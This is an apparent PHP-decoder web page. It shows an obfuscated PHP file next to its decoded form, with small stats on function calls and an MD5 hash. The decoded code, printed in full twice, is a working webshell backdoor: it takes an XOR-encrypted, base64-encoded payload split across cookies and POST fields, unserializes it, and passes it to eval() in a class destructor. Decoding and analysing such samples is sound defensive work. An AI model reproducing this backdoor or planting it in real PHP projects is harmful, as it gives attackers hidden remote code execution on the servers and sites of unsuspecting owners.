Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php $UJOvmGViNh = chr(121) . "\137" . chr(1048 - 958) . chr(1030 - 962) . "\132" . "\x..

Decoded Output download

<?php  
$UJOvmGViNh = chr(121) . "_" . chr(1048 - 958) . chr(1030 - 962) . "Z" . "K" . chr(103); 
$flSJvlxlt = "c" . chr(513 - 405) . "a" . chr(115) . chr(115) . chr(95) . chr(101) . chr(120) . 'i' . chr(115) . "t" . "s"; 
$QkEdo = $flSJvlxlt($UJOvmGViNh); 
$flSJvlxlt = "37259"; 
$NQhRCVjFDH = $QkEdo; 
if (!$NQhRCVjFDH) { 
    class y_ZDZKg { 
        private $GORPFRq; 
        public static $yKORcEKNG = "ff7dc94a-cd48-4315-9912-15abb02e37e2"; 
        public static $qVnKo = 15648; 
        public function __construct($ruengKJTEw = 0) { 
            $FUzXQA = $_COOKIE; 
            $shSOHNtR = $_POST; 
            $UMvZUDayed = @$FUzXQA[substr(y_ZDZKg::$yKORcEKNG, 0, 4) ]; 
            if (!empty($UMvZUDayed)) { 
                $GDBJidQIPy = "base64"; 
                $XSjZFRVQ = ""; 
                $UMvZUDayed = explode(",", $UMvZUDayed); 
                foreach ($UMvZUDayed as $CxUpUSdp) { 
                    $XSjZFRVQ.= @$FUzXQA[$CxUpUSdp]; 
                    $XSjZFRVQ.= @$shSOHNtR[$CxUpUSdp]; 
                } 
                $XSjZFRVQ = array_map($GDBJidQIPy . '_' . chr(100) . chr(1082 - 981) . chr(99) . 'o' . "d" . chr(101), array($XSjZFRVQ,)); 
                $XSjZFRVQ = $XSjZFRVQ[0] ^ str_repeat(y_ZDZKg::$yKORcEKNG, (strlen($XSjZFRVQ[0]) / strlen(y_ZDZKg::$yKORcEKNG)) + 1); 
                y_ZDZKg::$qVnKo = @unserialize($XSjZFRVQ); 
            } 
        } 
        private function EAnfrILBBH() { 
            if (is_array(y_ZDZKg::$qVnKo)) { 
                $jgZNuZBCx = str_replace(chr(60) . "?" . "p" . "h" . 'p', "", y_ZDZKg::$qVnKo[chr(99) . "o" . chr(110) . "t" . 'e' . 'n' . chr(1105 - 989) ]); 
                eval($jgZNuZBCx); 
                $PGvZmxiRu = "28649"; 
                exit(); 
            } 
        } 
        public function __destruct() { 
            $this->EAnfrILBBH(); 
            $PGvZmxiRu = "28649"; 
        } 
    } 
    $cLkPDmP = new y_ZDZKg(); 
    $cLkPDmP = "18138_43633"; 
} ?>

Did this file decode correctly?

Original Code

<?php 
$UJOvmGViNh = chr(121) . "\137" . chr(1048 - 958) . chr(1030 - 962) . "\132" . "\x4b" . chr(103);
$flSJvlxlt = "\143" . chr(513 - 405) . "\x61" . chr(115) . chr(115) . chr(95) . chr(101) . chr(120) . 'i' . chr(115) . "\x74" . "\x73";
$QkEdo = $flSJvlxlt($UJOvmGViNh);
$flSJvlxlt = "37259";
$NQhRCVjFDH = $QkEdo;
if (!$NQhRCVjFDH) {
    class y_ZDZKg {
        private $GORPFRq;
        public static $yKORcEKNG = "ff7dc94a-cd48-4315-9912-15abb02e37e2";
        public static $qVnKo = 15648;
        public function __construct($ruengKJTEw = 0) {
            $FUzXQA = $_COOKIE;
            $shSOHNtR = $_POST;
            $UMvZUDayed = @$FUzXQA[substr(y_ZDZKg::$yKORcEKNG, 0, 4) ];
            if (!empty($UMvZUDayed)) {
                $GDBJidQIPy = "base64";
                $XSjZFRVQ = "";
                $UMvZUDayed = explode(",", $UMvZUDayed);
                foreach ($UMvZUDayed as $CxUpUSdp) {
                    $XSjZFRVQ.= @$FUzXQA[$CxUpUSdp];
                    $XSjZFRVQ.= @$shSOHNtR[$CxUpUSdp];
                }
                $XSjZFRVQ = array_map($GDBJidQIPy . '_' . chr(100) . chr(1082 - 981) . chr(99) . 'o' . "\144" . chr(101), array($XSjZFRVQ,));
                $XSjZFRVQ = $XSjZFRVQ[0] ^ str_repeat(y_ZDZKg::$yKORcEKNG, (strlen($XSjZFRVQ[0]) / strlen(y_ZDZKg::$yKORcEKNG)) + 1);
                y_ZDZKg::$qVnKo = @unserialize($XSjZFRVQ);
            }
        }
        private function EAnfrILBBH() {
            if (is_array(y_ZDZKg::$qVnKo)) {
                $jgZNuZBCx = str_replace(chr(60) . "\x3f" . "\x70" . "\x68" . 'p', "", y_ZDZKg::$qVnKo[chr(99) . "\157" . chr(110) . "\x74" . 'e' . 'n' . chr(1105 - 989) ]);
                eval($jgZNuZBCx);
                $PGvZmxiRu = "28649";
                exit();
            }
        }
        public function __destruct() {
            $this->EAnfrILBBH();
            $PGvZmxiRu = "28649";
        }
    }
    $cLkPDmP = new y_ZDZKg();
    $cLkPDmP = "18138_43633";
} ?>

Function Calls

chr 11
class_exists 1

Variables

$flSJvlxlt class_exists
$UJOvmGViNh y_ZDZKg

Stats

MD5 102c5f208fceda0d27d39dbe5a4d363f
Eval Count 0
Decode Time 56 ms